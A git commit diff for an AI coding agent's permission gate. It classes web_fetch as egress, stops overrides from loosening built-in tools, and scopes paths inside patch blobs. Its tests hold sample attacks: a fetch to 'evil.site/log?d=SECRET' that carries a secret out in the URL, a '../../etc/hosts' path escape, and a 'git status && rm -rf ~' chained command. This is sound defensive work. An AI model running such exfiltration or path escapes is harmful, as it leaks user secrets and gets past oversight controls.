PR1: split egress out of READ, stop override downgrades, scope patch writes

Three gate defects, each verified by direct execution before and after.

1. web_fetch was RiskClass.READ, so is_consequential() was False and evaluate()
   returned allow on its third rung -- before any rule, mode or PDP, in EVERY
   mode including plan/discuss. A URL's query string carries data outbound, so
   this was an ungated egress path. New RiskClass.EGRESS covers model-chosen
   network reads; web_search stays READ (fixed configured provider, not a
   model-chosen host). Adds an allowed_domains allowlist (exact host or
   subdomain; 'evil-python.org' never matches 'python.org'), a session-scoped
   "always allow this domain" grant, and ApprovalOutcome.ALWAYS_DOMAIN.

2. A risk override could DOWNGRADE a built-in: marking write_file as read made
   is_write False (skipping path scoping) and consequential False (skipping the
   read-only gate) at once -- one settings line disabling two protections, in
   every future session. Overrides may now only tighten a built-in write/exec/
   egress tool; relaxing a metadata/MCP tool (the intended use) still works.

3. Path scoping read a literal "path" argument, so apply_patch and
   apply_unified_diff -- whose paths live inside the patch/diff blob -- were
   never scoped at all. write_paths() extracts them from the blob and scopes
   every one; a write whose path cannot be located now fails closed to approval
   rather than slipping through auto/custom unscoped.

allowed_domains is user-global only, alongside auto_allow: a cloned repo must
not be able to widen the agent's network reach.

Golden matrix: web_fetch interactive allow->ask, plan allow->deny, plus new
egress/patch rows (31 rows green). test_permissions_risk's override test
asserted the old downgrade behavior and is updated to the tightening rule.
Full suite: 22 failures, all pre-existing on the unmodified tree (boto3 absent,
Windows symlink privilege, Slack socket timeouts) -- none introduced here.

Design of record: ocw-context/docs/reviewed-auto-mode.md Part 3.
This commit is contained in:
Devika Verma
2026-08-11 11:37:46 -07:00
parent d976e82a88
commit a442e0e0b8
8 changed files with 268 additions and 16 deletions
+1
View File
@@ -403,6 +403,7 @@ def build_engine(
allowed_commands if allowed_commands is not None else config.allowed_commands allowed_commands if allowed_commands is not None else config.allowed_commands
), ),
auto_allow_tools=set(config.auto_allow), auto_allow_tools=set(config.auto_allow),
allowed_domains=list(config.allowed_domains),
roots=root_list or None, roots=root_list or None,
risk_overrides=risk_overrides, risk_overrides=risk_overrides,
) )
+8 -2
View File
@@ -38,6 +38,10 @@ class Config:
# In "custom" permission mode, these tools are auto-approved (e.g. file edits) # In "custom" permission mode, these tools are auto-approved (e.g. file edits)
# while everything else still asks. # while everything else still asks.
auto_allow: list[str] = field(default_factory=list) auto_allow: list[str] = field(default_factory=list)
# Egress destinations `web_fetch` may reach WITHOUT an approval prompt (exact host or
# subdomain). Empty by default — the first fetch to any host asks. A power-user opt-in,
# like `allowed_commands`; user-global only, so a repo can't widen the agent's network reach.
allowed_domains: list[str] = field(default_factory=list)
host: str = "127.0.0.1" host: str = "127.0.0.1"
port: int = 8765 port: int = 8765
# Web search provider: "duckduckgo" (keyless default) | "tavily" | "brave" (need a key). # Web search provider: "duckduckgo" (keyless default) | "tavily" | "brave" (need a key).
@@ -67,6 +71,7 @@ _FIELDS = {
"max_iterations", "max_iterations",
"allowed_commands", "allowed_commands",
"auto_allow", "auto_allow",
"allowed_domains",
"host", "host",
"port", "port",
"web_search_provider", "web_search_provider",
@@ -79,8 +84,9 @@ _FIELDS = {
# These fields change what consequential actions can run without a prompt, so the normal # These fields change what consequential actions can run without a prompt, so the normal
# workspace override pass never applies them. `allowed_commands` is added separately only # workspace override pass never applies them. `allowed_commands` is added separately only
# for a canonically trusted workspace; `auto_allow` remains user-global only. # for a canonically trusted workspace; `auto_allow` and `allowed_domains` remain user-global
_GLOBAL_ONLY_FIELDS = {"allowed_commands", "auto_allow"} # only (a repo must not be able to widen the agent's command or network reach).
_GLOBAL_ONLY_FIELDS = {"allowed_commands", "auto_allow", "allowed_domains"}
_WORKSPACE_FIELDS = _FIELDS - _GLOBAL_ONLY_FIELDS _WORKSPACE_FIELDS = _FIELDS - _GLOBAL_ONLY_FIELDS
+5
View File
@@ -31,6 +31,7 @@ class ApprovalOutcome(str, Enum):
ONCE = "once" ONCE = "once"
ALWAYS_TOOL = "always_tool" ALWAYS_TOOL = "always_tool"
ALWAYS_COMMAND = "always_command" ALWAYS_COMMAND = "always_command"
ALWAYS_DOMAIN = "always_domain"
DENY = "deny" DENY = "deny"
@@ -745,6 +746,10 @@ class TurnEngine:
self.permissions.allow_command_for_session( self.permissions.allow_command_for_session(
str(tool_call.arguments.get("command", "")) str(tool_call.arguments.get("command", ""))
) )
elif outcome is ApprovalOutcome.ALWAYS_DOMAIN:
self.permissions.allow_domain_for_session(
str(tool_call.arguments.get("url", ""))
)
allowed, reason = True, "approved by user" allowed, reason = True, "approved by user"
self._audit( self._audit(
tool_call, tool_call,
+94 -4
View File
@@ -8,11 +8,13 @@ prefixes) and a session allowlist. The engine only *decides*; the turn engine ro
from __future__ import annotations from __future__ import annotations
import re
import shlex import shlex
from dataclasses import dataclass, field from dataclasses import dataclass, field
from enum import Enum from enum import Enum
from pathlib import Path from pathlib import Path
from typing import Any, Optional from typing import Any, Optional
from urllib.parse import urlsplit
# Shell metacharacters that turn one "allowlisted" command into several. Any of these in a # Shell metacharacters that turn one "allowlisted" command into several. Any of these in a
# command disqualifies it from allowlist auto-run — approval is required instead. Covers # command disqualifies it from allowlist auto-run — approval is required instead. Covers
@@ -24,6 +26,53 @@ _SHELL_OPERATORS = (";", "&", "|", ">", "<", "`", "$(", "(", "\n", "\r")
def _has_shell_operators(command: str) -> bool: def _has_shell_operators(command: str) -> bool:
return any(op in command for op in _SHELL_OPERATORS) return any(op in command for op in _SHELL_OPERATORS)
def _host_of(url_or_domain: str) -> str:
"""The lowercased host of a URL, or a bare domain as-is. `''` when there's nothing
usable. Accepts both `https://docs.python.org/x` and `docs.python.org`."""
s = (url_or_domain or "").strip().lower()
if not s:
return ""
if "://" in s:
return urlsplit(s).hostname or ""
return urlsplit("//" + s).hostname or s
# The argument that names a write tool's target path, when it's a single top-level field.
# Patch/diff tools carry their paths inside the blob instead — extracted in `write_paths`.
_PATH_ARG: dict[str, str] = {"write_file": "path", "replace_in_file": "path"}
# apply_patch (Codex format) file headers, and unified-diff `+++ b/<path>` headers.
_APPLY_PATCH_FILE = re.compile(
r"^\*\*\* (?:Add|Update|Delete) File: (.+)$", re.MULTILINE
)
_APPLY_PATCH_MOVE = re.compile(r"^\*\*\* Move to: (.+)$", re.MULTILINE)
_UNIFIED_DIFF_FILE = re.compile(r"^\+\+\+ (?:b/)?(.+?)\s*$", re.MULTILINE)
def write_paths(tool_name: str, arguments: dict[str, Any]) -> tuple[list[str], bool]:
"""Every filesystem path a write tool would touch, for root scoping.
Returns ``(paths, located)``. ``located`` is False when the path can't be determined
(an unknown write tool, or a patch/diff blob with no parseable file header) the caller
must then fail closed rather than skip scoping, so an unscoped write can't slip through
auto/custom mode.
"""
arg = _PATH_ARG.get(tool_name)
if arg is not None:
value = arguments.get(arg)
return ([str(value)], True) if value else ([], False)
if tool_name == "apply_patch":
blob = str(arguments.get("patch", ""))
paths = _APPLY_PATCH_FILE.findall(blob) + _APPLY_PATCH_MOVE.findall(blob)
return ([p.strip() for p in paths], bool(paths))
if tool_name == "apply_unified_diff":
blob = str(arguments.get("diff", ""))
paths = [p for p in _UNIFIED_DIFF_FILE.findall(blob) if p and p != "/dev/null"]
return (paths, bool(paths))
# Unknown write tool (e.g. one promoted to write via a user override): we cannot locate
# its path, so it cannot be auto-scoped.
return ([], False)
from .risk import ( # re-exported for back-compat (manager.py imports WRITE_TOOLS) from .risk import ( # re-exported for back-compat (manager.py imports WRITE_TOOLS)
SHELL_TOOL, SHELL_TOOL,
WRITE_TOOLS, WRITE_TOOLS,
@@ -88,6 +137,11 @@ class PermissionEngine:
auto_allow_tools: set[str] = field(default_factory=set) auto_allow_tools: set[str] = field(default_factory=set)
session_allow_tools: set[str] = field(default_factory=set) session_allow_tools: set[str] = field(default_factory=set)
session_allow_commands: set[str] = field(default_factory=set) session_allow_commands: set[str] = field(default_factory=set)
# Egress domains that auto-run without a prompt: `allowed_domains` from user config, plus
# `session_allow_domains` minted by "Always allow this domain". Matched by exact host or
# subdomain suffix (see `_domain_allowed`).
allowed_domains: list[str] = field(default_factory=list)
session_allow_domains: set[str] = field(default_factory=set)
# Task-scoped standing rules (§25): {tool: {allowed targets}}, seeded from the owning # Task-scoped standing rules (§25): {tool: {allowed targets}}, seeded from the owning
# ScheduledTask's target-shaped entries. Kept by reference and re-read every check, so a # ScheduledTask's target-shaped entries. Kept by reference and re-read every check, so a
# rule minted mid-run ("Allow every time") applies to the run's next call too. # rule minted mid-run ("Allow every time") applies to the run's next call too.
@@ -125,6 +179,7 @@ class PermissionEngine:
risk = classify(tool_name, metadata, self.risk_overrides) risk = classify(tool_name, metadata, self.risk_overrides)
is_write = risk is RiskClass.WRITE_LOCAL is_write = risk is RiskClass.WRITE_LOCAL
is_shell = risk is RiskClass.EXEC is_shell = risk is RiskClass.EXEC
is_egress = risk is RiskClass.EGRESS
consequential = is_consequential(risk) consequential = is_consequential(risk)
# Discuss / plan modes: read-only. # Discuss / plan modes: read-only.
@@ -133,11 +188,22 @@ class PermissionEngine:
False, f"{self.mode.value} mode is read-only", needs_user=False False, f"{self.mode.value} mode is read-only", needs_user=False
) )
# Path scoping for writes that name a path (all modes): must land in a writable root. # Path scoping for writes (all modes): every path the write touches must land in a
# writable root. A write whose path can't be located is not scoped-able, so it fails
# closed to approval rather than slipping through auto/custom unscoped.
if is_write: if is_write:
path = arguments.get("path") paths, located = write_paths(tool_name, arguments)
if path is not None and not self._under_writable_root(path): if not located:
return Decision(False, f"path is not in a writable directory: {path}") return Decision(
False,
"cannot determine the write path to scope",
needs_user=True,
)
for path in paths:
if not self._under_writable_root(path):
return Decision(
False, f"path is not in a writable directory: {path}"
)
# Non-consequential tools always run. # Non-consequential tools always run.
if not consequential: if not consequential:
@@ -154,6 +220,10 @@ class PermissionEngine:
return Decision(True, "command on allowlist") return Decision(True, "command on allowlist")
if command and command in self.session_allow_commands: if command and command in self.session_allow_commands:
return Decision(True, "command allowed for session") return Decision(True, "command allowed for session")
if is_egress:
url = str(arguments.get("url", ""))
if self._domain_allowed(url):
return Decision(True, "domain on allowlist")
if tool_name in self.session_allow_tools and not is_connector: if tool_name in self.session_allow_tools and not is_connector:
return Decision(True, "tool allowed for session") return Decision(True, "tool allowed for session")
@@ -185,6 +255,12 @@ class PermissionEngine:
if command: if command:
self.session_allow_commands.add(command) self.session_allow_commands.add(command)
def allow_domain_for_session(self, url_or_domain: str) -> None:
"""Remember an egress destination for this session ("Always allow this domain")."""
host = _host_of(url_or_domain)
if host:
self.session_allow_domains.add(host)
# -- helpers ---------------------------------------------------------------- # -- helpers ----------------------------------------------------------------
def _candidate(self, path: str) -> Path: def _candidate(self, path: str) -> Path:
# Relative paths resolve against the primary (workspace_root); absolute/`~` taken as-is. # Relative paths resolve against the primary (workspace_root); absolute/`~` taken as-is.
@@ -213,6 +289,20 @@ class PermissionEngine:
continue continue
return False return False
def _domain_allowed(self, url: str) -> bool:
"""True when the URL's host is an allowed egress destination — an exact match or a
subdomain of an allowed domain (so `docs.python.org` matches `python.org`, but
`evil-python.org` never matches `python.org`)."""
host = _host_of(url)
if not host:
return False
allowed = {d for d in (_host_of(x) for x in self.allowed_domains) if d}
allowed |= self.session_allow_domains
for dom in allowed:
if host == dom or host.endswith("." + dom):
return True
return False
def _command_allowed(self, command: str) -> bool: def _command_allowed(self, command: str) -> bool:
# An allowlist entry auto-runs a command WITHOUT approval, so prefix matching is # An allowlist entry auto-runs a command WITHOUT approval, so prefix matching is
# unsafe: `git status` would auto-approve `git status && rm -rf ~`. Reject anything # unsafe: `git status` would auto-approve `git status && rm -rf ~`. Reject anything
+25 -4
View File
@@ -17,6 +17,7 @@ from typing import Any, Callable, Optional
class RiskClass(str, Enum): class RiskClass(str, Enum):
READ = "read" # no side effects — always allowed READ = "read" # no side effects — always allowed
EGRESS = "egress" # reaches the network — the request itself can carry data off-machine
WRITE_LOCAL = "write_local" # mutates the workspace — path-scoped + mode-gated WRITE_LOCAL = "write_local" # mutates the workspace — path-scoped + mode-gated
EXEC = "exec" # runs commands — mode-gated EXEC = "exec" # runs commands — mode-gated
EXTERNAL = "external" # side effects off the machine — the unattended Inbox hook EXTERNAL = "external" # side effects off the machine — the unattended Inbox hook
@@ -25,27 +26,47 @@ class RiskClass(str, Enum):
# Built-in tools whose risk is fixed by name (the old WRITE_TOOLS / SHELL_TOOL, as data). # Built-in tools whose risk is fixed by name (the old WRITE_TOOLS / SHELL_TOOL, as data).
WRITE_TOOLS = {"write_file", "replace_in_file", "apply_patch", "apply_unified_diff"} WRITE_TOOLS = {"write_file", "replace_in_file", "apply_patch", "apply_unified_diff"}
SHELL_TOOL = "run_shell" SHELL_TOOL = "run_shell"
# Model-chosen network reads. `web_fetch` takes a URL straight from the model and the URL's
# query string can carry data outbound, so it is NOT a pure read — it must reach the gate.
# `web_search` stays READ: it hits a fixed configured provider, not a model-chosen host.
EGRESS_TOOLS = {"web_fetch"}
_BASE: dict[str, RiskClass] = { _BASE: dict[str, RiskClass] = {
**{name: RiskClass.WRITE_LOCAL for name in WRITE_TOOLS}, **{name: RiskClass.WRITE_LOCAL for name in WRITE_TOOLS},
SHELL_TOOL: RiskClass.EXEC, SHELL_TOOL: RiskClass.EXEC,
**{name: RiskClass.EGRESS for name in EGRESS_TOOLS},
}
# How much attention each class demands, for the override-tightening rule below. Higher =
# stricter. EXEC and WRITE_LOCAL are the crown jewels (path scoping / command gating).
_STRICTNESS: dict[RiskClass, int] = {
RiskClass.READ: 0,
RiskClass.EGRESS: 1,
RiskClass.EXTERNAL: 2,
RiskClass.WRITE_LOCAL: 3,
RiskClass.EXEC: 3,
} }
# A user-local override resolver: tool name -> RiskClass (or None to defer to the base). # A user-local override resolver: tool name -> RiskClass (or None to defer to the base).
# Wired in Phase 2 (mainly to relax MCP's conservative default); always None until then.
RiskOverrides = Callable[[str], Optional["RiskClass"]] RiskOverrides = Callable[[str], Optional["RiskClass"]]
def classify( def classify(
tool_name: str, metadata: Any = None, overrides: Optional[RiskOverrides] = None tool_name: str, metadata: Any = None, overrides: Optional[RiskOverrides] = None
) -> RiskClass: ) -> RiskClass:
"""Effective risk of a tool call. ``overrides`` (user-local) wins, then the by-name base """Effective risk of a tool call. A user override may *relax* a metadata/MCP tool (the
table, then aisuite metadata (`requires_approval` external), else read.""" intended use quieting an over-cautious plug-in), but may only ever **tighten** a
built-in write/exec/egress tool, never loosen it. Downgrading a built-in write to a read
would switch off path scoping AND the read-only gate at once, so it is refused here.
Precedence otherwise: the by-name base table, then aisuite metadata
(`requires_approval` external), else read."""
base = _BASE.get(tool_name)
if overrides is not None: if overrides is not None:
ov = overrides(tool_name) ov = overrides(tool_name)
if ov is not None: if ov is not None:
if base is None or _STRICTNESS[ov] >= _STRICTNESS[base]:
return ov return ov
base = _BASE.get(tool_name) # A loosening override on a built-in is ignored: fall through to the base class.
if base is not None: if base is not None:
return base return base
if bool(getattr(metadata, "requires_approval", False)): if bool(getattr(metadata, "requires_approval", False)):
+7 -2
View File
@@ -23,5 +23,10 @@ connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write ask
connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors
standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target
standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target
webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch classed as read so never gates webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,ask,FIXED-PR1 web_fetch is egress so now asks in interactive
webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch runs even in read-only plan mode webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,deny,FIXED-PR1 egress is not a read so plan mode blocks it
webfetch-auto,auto,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,auto allows egress
webfetch-allowed-domain,interactive,web_fetch,"{""url"": ""https://docs.python.org/3/x""}",,,,,,,python.org,allow,egress to a config-allowed domain (subdomain match)
webfetch-session-domain,interactive,web_fetch,"{""url"": ""https://api.github.com/x""}",,,,,,,,ask,egress to an unlisted domain still asks
patch-escape,auto,apply_patch,"{""patch"": ""*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch""}",,,,,,,,deny,FIXED-PR1 apply_patch path extracted from blob and scoped even in auto
patch-inroot,auto,apply_patch,"{""patch"": ""*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch""}",,,,,,,,allow,apply_patch to an in-root path allowed in auto
1 id mode tool args meta allowed_commands session_tools session_commands standing auto_allow allowed_domains expected note
23 connector-always-ignored interactive gmail_send {} external gmail_send ask session tool grant deliberately ignored for connectors
24 standing-match interactive send_message {"target": "slack:T1/C1", "text": "hi"} external send_message slack:T1/C1 allow standing rule matches the exact target
25 standing-mismatch interactive send_message {"target": "slack:T1/C2", "text": "hi"} external send_message slack:T1/C1 ask standing rule does not cover a different target
26 webfetch-interactive interactive web_fetch {"url": "https://evil.site/log?d=SECRET"} allow ask BASELINE-WRONG web_fetch classed as read so never gates FIXED-PR1 web_fetch is egress so now asks in interactive
27 webfetch-plan plan web_fetch {"url": "https://evil.site/log?d=SECRET"} allow deny BASELINE-WRONG web_fetch runs even in read-only plan mode FIXED-PR1 egress is not a read so plan mode blocks it
28 webfetch-auto auto web_fetch {"url": "https://evil.site/log?d=SECRET"} allow auto allows egress
29 webfetch-allowed-domain interactive web_fetch {"url": "https://docs.python.org/3/x"} python.org allow egress to a config-allowed domain (subdomain match)
30 webfetch-session-domain interactive web_fetch {"url": "https://api.github.com/x"} ask egress to an unlisted domain still asks
31 patch-escape auto apply_patch {"patch": "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"} deny FIXED-PR1 apply_patch path extracted from blob and scoped even in auto
32 patch-inroot auto apply_patch {"patch": "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"} allow apply_patch to an in-root path allowed in auto
+116
View File
@@ -0,0 +1,116 @@
"""PR1 — egress split, override tightening, and write-path scoping.
Covers the parts of the golden matrix that need a configured override resolver or exercise
the helpers directly. See `ocw-context/docs/reviewed-auto-mode.md` Part 3.
"""
from __future__ import annotations
from pathlib import Path
import pytest
from coworker.permissions import Mode, PermissionEngine, write_paths
from coworker.risk import RiskClass, classify
# -- egress classification ------------------------------------------------------
def test_web_fetch_is_egress_not_read():
assert classify("web_fetch") is RiskClass.EGRESS
# web_search stays a read: it hits a fixed configured provider, not a model-chosen host.
assert classify("web_search") is RiskClass.READ
@pytest.mark.parametrize(
"mode,expected_needs_user,expected_allowed",
[
(Mode.INTERACTIVE, True, False), # asks
(Mode.CUSTOM, True, False), # asks
(Mode.PLAN, False, False), # denied (read-only, egress is not a read)
(Mode.DISCUSS, False, False), # denied
(Mode.AUTO, False, True), # allowed
],
)
def test_web_fetch_gated_in_every_mode(tmp_path, mode, expected_needs_user, expected_allowed):
eng = PermissionEngine(workspace_root=tmp_path, mode=mode)
d = eng.evaluate("web_fetch", {"url": "https://evil.site/log?d=SECRET"}, None)
assert d.allowed is expected_allowed
assert d.needs_user is expected_needs_user
def test_egress_domain_allowlist_subdomain_match(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path, allowed_domains=["python.org"])
assert eng.evaluate("web_fetch", {"url": "https://docs.python.org/3"}, None).allowed
# a look-alike that merely ends with the string must NOT match
assert not eng.evaluate("web_fetch", {"url": "https://evil-python.org/x"}, None).allowed
def test_egress_session_domain_grant(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path)
assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).needs_user
eng.allow_domain_for_session("https://api.github.com/anything")
assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).allowed
# -- override tightening --------------------------------------------------------
def _override(mapping):
return lambda name: mapping.get(name)
def test_override_cannot_downgrade_builtin_write(tmp_path):
# A user override marking write_file as a harmless read must be ignored: path scoping
# and the read-only gate both key off the class, so a downgrade would switch off both.
ov = _override({"write_file": RiskClass.READ})
assert classify("write_file", None, ov) is RiskClass.WRITE_LOCAL
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.PLAN, risk_overrides=ov)
d = eng.evaluate("write_file", {"path": "../../escape.txt", "content": "x"}, None)
assert not d.allowed # still blocked; the downgrade did nothing
def test_override_can_still_relax_a_plugin_tool(tmp_path):
# The intended use survives: a non-built-in (MCP) tool defaulting to external can be
# relaxed to read.
from types import SimpleNamespace
ov = _override({"mcp__notion__search": RiskClass.READ})
meta = SimpleNamespace(requires_approval=True, category="mcp")
assert classify("mcp__notion__search", meta, ov) is RiskClass.READ
def test_override_may_tighten(tmp_path):
# Tightening a plugin read up to exec is honoured.
ov = _override({"mcp__x__run": RiskClass.EXEC})
assert classify("mcp__x__run", None, ov) is RiskClass.EXEC
# -- write-path extraction / scoping -------------------------------------------
def test_write_paths_simple_tools():
assert write_paths("write_file", {"path": "a.txt"}) == (["a.txt"], True)
assert write_paths("replace_in_file", {"path": "b.py"}) == (["b.py"], True)
# a write tool with no locatable path → not located → caller fails closed
assert write_paths("write_file", {}) == ([], False)
def test_write_paths_from_patch_blob():
patch = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
assert write_paths("apply_patch", {"patch": patch}) == (["src/app.py"], True)
diff = "--- a/old.py\n+++ b/new.py\n@@\n-a\n+b"
assert write_paths("apply_unified_diff", {"diff": diff}) == (["new.py"], True)
def test_unknown_write_tool_fails_closed(tmp_path):
# A tool promoted to write via an override, whose path we can't locate, must not slip
# through auto mode unscoped — it asks instead.
ov = _override({"weird_writer": RiskClass.WRITE_LOCAL})
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO, risk_overrides=ov)
d = eng.evaluate("weird_writer", {"blob": "..."}, None)
assert not d.allowed and d.needs_user
def test_patch_scoping_holds_in_auto_mode(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO)
escape = "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"
assert not eng.evaluate("apply_patch", {"patch": escape}, None).allowed
ok = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
assert eng.evaluate("apply_patch", {"patch": ok}, None).allowed
+11 -3
View File
@@ -46,15 +46,23 @@ def test_is_consequential():
assert is_consequential(RiskClass.EXTERNAL) assert is_consequential(RiskClass.EXTERNAL)
def test_overrides_win_over_base_and_metadata(): def test_overrides_relax_metadata_but_never_downgrade_a_builtin():
# A user-local override beats both the by-name base table and the metadata fallback. # A user-local override may relax a metadata/MCP tool (the intended use)...
relax = lambda n: RiskClass.READ if n in {"write_file", "mcp_tool"} else None relax = lambda n: RiskClass.READ if n in {"write_file", "mcp_tool"} else None
assert classify("write_file", None, relax) == RiskClass.READ # downgrade a write
assert classify("mcp_tool", EXTERNAL_META, relax) == RiskClass.READ # relax MCP assert classify("mcp_tool", EXTERNAL_META, relax) == RiskClass.READ # relax MCP
# ...but must NEVER loosen a built-in write/exec/egress tool: downgrading write_file to
# read would switch off path scoping AND the read-only gate, so the override is ignored.
assert classify("write_file", None, relax) == RiskClass.WRITE_LOCAL
# Non-matching names fall through to the base/metadata classification. # Non-matching names fall through to the base/metadata classification.
assert classify("run_shell", None, relax) == RiskClass.EXEC assert classify("run_shell", None, relax) == RiskClass.EXEC
def test_overrides_may_tighten_a_builtin():
# Tightening is fine — only loosening a built-in is refused.
tighten = lambda n: RiskClass.EXEC if n == "write_file" else None
assert classify("write_file", None, tighten) == RiskClass.EXEC
# -- PermissionEngine driven by risk class -------------------------------------- # -- PermissionEngine driven by risk class --------------------------------------
def test_read_always_allowed(tmp_path): def test_read_always_allowed(tmp_path):
eng = PermissionEngine(workspace_root=tmp_path) eng = PermissionEngine(workspace_root=tmp_path)